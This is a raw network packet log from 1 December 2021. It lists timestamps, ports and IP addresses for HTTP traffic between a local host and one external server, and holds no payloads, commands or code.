Dec 1, 2021 09:14:26.680268049 CET	80	49799	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:26.680391073 CET	49799	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:26.680505037 CET	49799	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:26.680521965 CET	49799	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:26.737925053 CET	80	49799	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:26.781894922 CET	80	49799	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:26.782017946 CET	49799	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:26.782071114 CET	49799	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:26.839622974 CET	80	49799	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:26.879738092 CET	49800	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:26.937021017 CET	80	49800	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:26.937185049 CET	49800	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:26.937504053 CET	49800	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:26.937593937 CET	49800	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:26.994694948 CET	80	49800	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:27.039542913 CET	80	49800	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:27.039625883 CET	49800	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:27.039887905 CET	49800	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:27.089972973 CET	49801	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:27.096908092 CET	80	49800	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:27.148330927 CET	80	49801	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:27.149177074 CET	49801	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:27.149297953 CET	49801	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:27.149312019 CET	49801	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:27.206886053 CET	80	49801	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:27.250431061 CET	80	49801	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:27.252388000 CET	49801	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:27.252435923 CET	49801	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:27.309993982 CET	80	49801	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:27.374039888 CET	49802	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:27.432225943 CET	80	49802	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:27.432843924 CET	49802	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:27.433342934 CET	49802	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:27.433366060 CET	49802	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:27.491236925 CET	80	49802	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:27.534075975 CET	80	49802	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:27.534106016 CET	80	49802	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:27.534286976 CET	49802	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:27.538511992 CET	49802	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:27.573002100 CET	49803	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:27.596486092 CET	80	49802	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:27.630675077 CET	80	49803	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:27.630929947 CET	49803	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:27.630956888 CET	49803	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:27.630961895 CET	49803	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:27.688647985 CET	80	49803	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:27.734807014 CET	80	49803	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:27.734839916 CET	80	49803	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:27.735100985 CET	49803	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:27.735138893 CET	49803	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:27.792959929 CET	80	49803	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:27.849050999 CET	49804	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:27.906857967 CET	80	49804	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:27.908862114 CET	49804	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:27.908968925 CET	49804	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:27.908977985 CET	49804	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:27.966603041 CET	80	49804	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.010453939 CET	80	49804	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.013135910 CET	49804	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.013505936 CET	49804	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.071000099 CET	80	49804	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.078192949 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.136625051 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.136745930 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.136903048 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.219403028 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.219444990 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.219468117 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.219489098 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.219510078 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.219511032 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.219562054 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.219784975 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.220194101 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.220494986 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.220523119 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.220545053 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.220567942 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.220577002 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.220612049 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.277529001 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.277584076 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.277604103 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.277623892 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.277643919 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.277666092 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.277664900 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.277687073 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.277710915 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.277738094 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.277781010 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.277956009 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.277986050 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.278007984 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.278028965 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.278032064 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.278085947 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.278368950 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.278400898 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.278423071 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.278446913 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.278469086 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.278472900 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.278492928 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.278501987 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.278517008 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.278538942 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.278541088 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.278577089 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.335705996 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.335752010 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.335772038 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.335793972 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.335813999 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.335835934 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.335856915 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.335879087 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.335903883 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.335927010 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.335949898 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.335969925 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.335990906 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.336013079 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.336030960 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.336049080 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.336065054 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.336086035 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.336086035 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.336107016 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.336132050 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.336149931 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.336159945 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.336183071 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.336204052 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.336327076 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.336335897 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.336355925 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.336380005 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.336380005 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.336405039 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.336429119 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.336430073 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.336452007 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.336477041 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.336477995 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.336503983 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.336528063 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.336530924 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.336553097 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.336574078 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.336592913 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.336604118 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.336618900 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.336639881 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.336661100 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.336683989 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.336705923 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.336709023 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.336759090 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.394136906 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.394181967 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.394205093 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.394226074 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.394248962 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.394269943 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.394289017 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.394292116 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.394316912 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.394340038 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.394350052 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.394364119 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.394375086 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.394388914 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.394399881 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.394412994 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.394437075 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.394459963 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.394465923 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.394483089 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.394505978 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.394531965 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.394531965 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.394556999 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.394577980 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.394582033 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.394588947 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.394606113 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.394629955 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.394651890 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.394675016 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.394681931 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.394700050 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.394721985 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.394723892 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.394746065 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.394747972 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.394773006 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.394790888 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.394797087 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.394826889 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.394849062 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.394865990 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.394872904 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.394896030 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.394903898 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.394923925 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.394942999 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.394948006 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.394972086 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.394993067 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.395008087 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.395015955 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.395039082 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.395040989 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.395061970 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.395076990 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.395085096 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.395107985 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.395116091 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.395132065 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.395154953 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.395173073 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.453032970 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453080893 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453104019 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453126907 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453149080 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453171015 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453183889 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.453193903 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453218937 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453242064 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.453244925 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453270912 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453294992 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453298092 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.453320026 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453334093 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.453344107 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453368902 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453392029 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453414917 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453417063 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.453439951 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453455925 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.453464031 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453479052 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.453489065 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453511953 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453531027 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.453535080 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453557968 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453581095 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453598976 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.453603983 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453628063 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453636885 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.453650951 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453670979 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.453675032 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453701019 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453722954 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453735113 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.453746080 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453768969 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453773975 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.453794003 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453811884 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.453820944 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453844070 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453866959 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453876972 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.453892946 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453913927 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453937054 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453958988 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.453968048 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.453980923 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.454004049 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.454027891 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.454031944 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.454049110 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.454073906 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.454094887 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.454097986 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.454127073 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.454160929 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.512048960 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512088060 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512115955 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512140989 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512165070 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512191057 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512213945 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.512216091 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512240887 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512265921 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512283087 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.512290955 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512316942 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512327909 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.512343884 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512357950 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.512368917 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512386084 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.512394905 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512424946 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512449026 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512453079 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.512475967 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512494087 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.512501001 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512526035 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512546062 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.512552023 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512576103 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512600899 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512619019 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.512624979 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512649059 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.512649059 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512675047 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512690067 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.512700081 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512725115 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512748957 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512763977 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.512773991 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512798071 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512810946 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.512826920 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512835026 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.512871981 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512897968 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512913942 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.512923002 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512947083 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512970924 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512995005 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.512999058 CET	49805	80	192.168.2.4	95.213.165.249
